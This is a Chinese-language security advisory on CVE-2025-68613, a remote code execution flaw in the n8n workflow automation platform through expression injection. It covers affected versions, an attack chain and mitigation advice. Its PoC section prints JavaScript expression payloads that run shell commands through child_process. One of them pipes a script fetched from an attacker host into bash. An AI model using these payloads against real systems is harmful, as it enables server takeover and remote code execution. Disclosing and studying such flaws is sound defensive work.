IPBUF安全漏洞报告
English
CVE-2025-68613 CVSS 9.9 严重

CVE-2025-68613: n8n工作流自动化平台表达式远程代码执行漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-68613
漏洞类型
远程代码执行(RCE)
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n

相关标签

远程代码执行RCE表达式注入原型链污染n8n工作流自动化JavaScript沙箱绕过CVSS 9.9CVE-2025-68613

漏洞概述

n8n是一款开源工作流自动化平台,广泛应用于企业级工作流程编排和数据集成场景。该平台从0.211.0版本开始,在工作流表达式评估系统中存在严重的远程代码执行漏洞。攻击者通过利用表达式求值机制,在特定条件下可以绕过安全隔离,直接在底层运行时环境中执行任意代码。由于n8n通常以较高权限运行,成功利用此漏洞可导致攻击者完全控制整个n8n实例,访问敏感数据、修改工作流配置、执行系统级操作,甚至横向移动到其他关联系统。该漏洞CVSS评分高达9.9,属于极其严重的系统性风险,建议立即采取修复措施。

技术细节

该漏洞源于n8n工作流表达式评估系统的设计缺陷。在工作流配置过程中,用户可以输入JavaScript表达式进行数据处理和逻辑控制。问题在于这些表达式在评估时并未与底层Node.js运行时环境充分隔离,攻击者可以通过构造特定的表达式访问__proto__、constructor等原型链属性,进而绕过沙箱限制访问原生对象和函数。通过精心构造的表达式,攻击者可以调用process对象执行系统命令,例如使用child_process模块的execSync函数执行任意shell命令。由于表达式评估发生在服务端,攻击者无需任何前置交互即可完成攻击,且该漏洞对所有可通过工作流编辑器访问表达式功能的认证用户有效。

攻击链分析

STEP 1
信息收集
攻击者识别目标n8n实例版本,确认版本在受影响范围内(0.211.0至1.120.4/1.121.1/1.122.0之前)
STEP 2
认证获取
攻击者获取n8n平台的有效用户凭据,低权限账户即可满足要求
STEP 3
工作流构造
攻击者创建或编辑工作流,在表达式字段中注入恶意JavaScript代码,利用原型链污染或直接访问process对象
STEP 4
载荷执行
通过工作流执行引擎触发表达式评估,恶意代码在服务端以n8n进程权限执行
STEP 5
目标控制
成功执行任意系统命令,可用于读取敏感配置、植入后门、横向移动或完全接管服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-68613 PoC - n8n Expression RCE // Target: n8n versions < 1.120.4, < 1.121.1, < 1.122.0 // This PoC demonstrates how to achieve RCE through workflow expressions const payload = "{{ (function() { const fs = require('fs'); const { execSync } = require('child_process'); return execSync('whoami').toString(); })() }}"; // Alternative payload using prototype pollution const rcePayload = "{{ this.__proto__.shell = require('child_process').execSync.bind(null, 'id > /tmp/pwned') }}"; // More sophisticated payload const advancedPayload = ` {{ const process = this.constructor.constructor('return process')(); const { execSync } = require('child_process'); execSync('curl https://attacker.com/shell.sh | bash'); }} `; // Steps to exploit: // 1. Authenticate to n8n instance // 2. Create or edit a workflow // 3. Add a Set node or any node supporting expressions // 4. Insert the RCE payload in the expression field // 5. Execute the workflow // 6. Check /tmp/pwned on target server for output console.log('Payload for CVE-2025-68613:'); console.log('Base64:', Buffer.from(payload).toString('base64'));

影响范围

n8n >= 0.211.0 且 < 1.120.4
n8n >= 0.211.0 且 < 1.121.1
n8n >= 0.211.0 且 < 1.122.0

防御指南

临时缓解措施
如无法立即升级,应采取以下临时措施:严格限制工作流创建和编辑权限,确保只有完全可信的管理员账户可以访问表达式功能;将n8n部署在隔离的容器或虚拟机环境中,配置最小化操作系统权限,限制网络访问;启用审计日志并监控异常的表达式执行行为;考虑使用Web应用防火墙规则阻止可疑的表达式语法。这些缓解措施仅能降低风险,不能完全消除漏洞,强烈建议尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表